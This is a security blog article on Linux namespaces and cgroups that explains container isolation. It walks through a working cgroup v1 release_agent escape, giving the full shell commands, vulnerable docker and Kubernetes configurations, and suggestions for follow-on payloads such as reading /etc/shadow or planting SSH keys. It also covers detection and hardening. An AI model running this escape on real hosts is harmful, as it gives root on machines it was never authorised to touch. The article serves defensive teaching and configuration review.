Linux Namespaces and cgroups: The Building Blocks of Containers

Linux Namespaces and cgroups: The Building Blocks of Containers - article cover image Containers & DevSecOps
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Every Linux container — Docker, containerd, CRI-O, Kubernetes pods — is an illusion built from two unrelated kernel features: namespaces, which give a process its own private view of global resources (process IDs, mounts, network stack, hostname, IPC, and users), and cgroups (control groups), which meter and cap what a group of processes can consume (CPU, memory, I/O, PIDs). Neither feature was designed as a security boundary in the way a virtual machine’s hypervisor is; they were designed for resource management and view isolation. Understanding where that boundary is soft is the difference between a hardened container platform and one where a single misconfigured flag hands an attacker the host.

Because containers share the host kernel, every namespace and cgroup misconfiguration is a potential escape route back to the host — not a sandbox bug in the traditional sense, but a control-plane decision made too permissively. This matters enormously in practice: CI/CD runners, build agents, and multi-tenant Kubernetes clusters routinely run untrusted or semi-trusted code inside containers, and the gap between “looks isolated” and “is isolated” is exactly where container breakouts live.

Attack Prerequisites

Breaking out of namespace/cgroup isolation back to the host generally requires one or more of the following to be true of the container an attacker already has code execution in:

  • Elevated capabilities — the container was started with --privileged, or with CAP_SYS_ADMIN, CAP_SYS_MODULE, or CAP_SYS_PTRACE explicitly added via --cap-add.
  • Shared host namespaces--pid=host, --net=host, --ipc=host, or a hostPath/hostPID Kubernetes pod spec, which collapses the isolation for that resource entirely.
  • A writable path into cgroupfs, typically via a bind mount of /sys/fs/cgroup or the whole host filesystem (-v /:/host) into the container.
  • No user-namespace remapping — the container’s root (UID 0) maps to the host’s real root (UID 0) rather than to an unprivileged host UID.

How It Works

Namespaces isolate by *type*: the mount namespace gives a process its own filesystem tree, PID namespace its own process-ID space (the container’s init is PID 1 inside, but some other PID on the host), network namespace its own interfaces and routing table, UTS its own hostname, IPC its own System V/POSIX IPC objects, and the user namespace its own UID/GID mapping so that root inside the container can map to a non-root UID outside. Cgroups are orthogonal: they organize processes into a hierarchy (a tree of directories under /sys/fs/cgroup) and attach *controllers* — cpu, memory, pids, devices, blkio — that enforce limits and produce accounting data for everything in that subtree.

cgroup v1 exposed each controller as a separate hierarchy, and one legacy mechanism — release_agent — is a per-hierarchy file that names a host binary the kernel itself executes, with full host privileges, whenever the last process in a cgroup with notify_on_release=1 exits. That execution happens in the *host’s* init namespace regardless of which namespace triggered it. If a process inside a container can write to that cgroupfs file — which requires CAP_SYS_ADMIN in that cgroup’s namespace, the situation created by --privileged — it can point release_agent at an attacker-controlled script and get it run as root on the host the instant the triggering cgroup empties out. cgroup v2’s unified hierarchy removed most of this attack surface by centralizing release_agent control under systemd in the root cgroup, unreachable from inside a container’s delegated subtree, but the legacy interface is still present on many hosts for compatibility.

PID and mount namespace weaknesses follow the same pattern: sharing the host PID namespace lets a container-root process ptrace() or /proc/<pid>/root-traverse into host processes it can see; a writable bind mount of the host root filesystem lets container-root simply chroot() out. None of these are kernel bugs — they are the intended behavior of features whose privileges were granted more broadly than the threat model assumed.

Vulnerable Code / Configuration

The enabling misconfiguration is almost always a container launched with excess privilege and a path into the host’s cgroup or filesystem tree. A docker run invocation like this is the canonical vulnerable setup:

# VULNERABLE: full privilege + host filesystem bind-mounted in
docker run --rm -it --privileged -v /:/host debian:12 bash

# Equally vulnerable, narrower grant: SYS_ADMIN alone is enough
# to manipulate cgroupfs and mount namespaces from inside.
docker run --rm -it --cap-add=SYS_ADMIN -v /sys/fs/cgroup:/sys/fs/cgroup \
  debian:12 bash
Bash

The same pattern shows up as a Kubernetes pod spec that a developer wrote for convenience during debugging and left in a manifest:

apiVersion: v1
kind: Pod
spec:
  hostPID: true          # shares the host PID namespace
  containers:
  - name: debug
    image: busybox
    securityContext:
      privileged: true    # CAP_SYS_ADMIN + all other caps, no seccomp
    volumeMounts:
    - { name: hostfs, mountPath: /host }
  volumes:
  - name: hostfs
    hostPath: { path: / }
YAML

With this grant, a process inside the container has CAP_SYS_ADMIN in a cgroup v1 environment and a writable path to the host filesystem — both ingredients for the release_agent technique below.

Walkthrough / Exploitation

From inside a --privileged container with /host bound to the host root and cgroup v1 mounted, create a fresh cgroup and enable release notifications:

mkdir -p /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
Bash

Point that hierarchy’s release_agent at a script reachable via the host bind mount, so the kernel executes it in the host’s namespace:

host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

cat > /cmd <<'EOF'
#!/bin/sh
ps aux > /host/tmp/output   # runs with host root privileges
EOF
chmod +x /cmd
Bash

Trigger the release notification by spawning and immediately exiting a process inside the empty target cgroup — this makes the kernel invoke the release_agent script as PID 1’s descendant on the host:

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs; " &
sleep 1
cat /host/tmp/output   # host process list, proving host-root execution
Bash

From here the operator swaps the payload for anything useful: reading /host/etc/shadow, writing an SSH key into /host/root/.ssh/authorized_keys, or dropping a reverse shell that runs outside the container’s namespaces entirely.

Note: This exact technique requires cgroup v1’s legacy release_agent file and CAP_SYS_ADMIN; on a cgroup v2-only host (the default on most current distributions), the equivalent write is confined to the delegated subtree and cannot reach the host’s root cgroup, closing this specific path. Rootless container runtimes and user-namespace remapping (--userns=remap in Docker, unprivileged pods with a mapped UID range) independently prevent it because container root never equals host root.

Opsec: The cgroup and mount manipulation shows up clearly in auditd if syscall auditing on mount, openat, and writes under /sys/fs/cgroup is enabled, and any EDR hooking execve will see the release_agent script run as a child of the kernel workqueue rather than of a normal parent process — an unusual and detectable process-tree shape.

Detection and Defense

Namespace and cgroup isolation is only as strong as the flags used to start the container, so defense is mostly about not granting the excess privilege in the first place, backed by runtime detection:

  • Never run --privileged or add SYS_ADMIN/SYS_MODULE/SYS_PTRACE for workloads that do not strictly require it; enforce this with admission controllers (Kubernetes PodSecurity “restricted” profile, OPA/Gatekeeper).
  • Prefer cgroup v2 (systemd.unified_cgroup_hierarchy=1), which removes the writable release_agent path from delegated subtrees.
  • Enable user-namespace remapping so container root never equals host root, which neutralizes most namespace-boundary escapes even under misconfiguration.
  • Audit mount and cgroupfs writesauditctl -w /sys/fs/cgroup -p wa -k cgroup_write and alert on any write to a release_agent or cgroup.procs file from a container process.
  • Use docker inspect / kubectl get pod -o yaml in CI to fail builds that set privileged: true, hostPID, hostNetwork, or hostPath mounts of /.
  • Runtime tools such as Falco ship rules specifically for release_agent writes and unexpected host-namespace joins.

Real-World Impact

The cgroup v1 release_agent breakout has been independently rediscovered and published by multiple container security researchers and is a staple of tools like deepce and CDK used in container penetration tests and CTFs; it is one of the most frequently cited techniques in “escape the container” writeups precisely because --privileged is still common in CI runners, self-hosted GitLab/Jenkins executors, and Docker-in-Docker setups where teams reach for it as a quick fix for a permission error rather than granting the specific capability actually needed.

Conclusion

Namespaces and cgroups are resource-management primitives that containers repurpose as a security boundary, and that boundary only holds when capabilities, namespace sharing, and cgroup delegation are all minimized together. Treat --privileged, host namespace sharing, and legacy cgroup v1 hierarchies as red flags in any container configuration review, and prefer cgroup v2 with user-namespace remapping so that even a compromised container has no privileged path back to the host it runs on.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL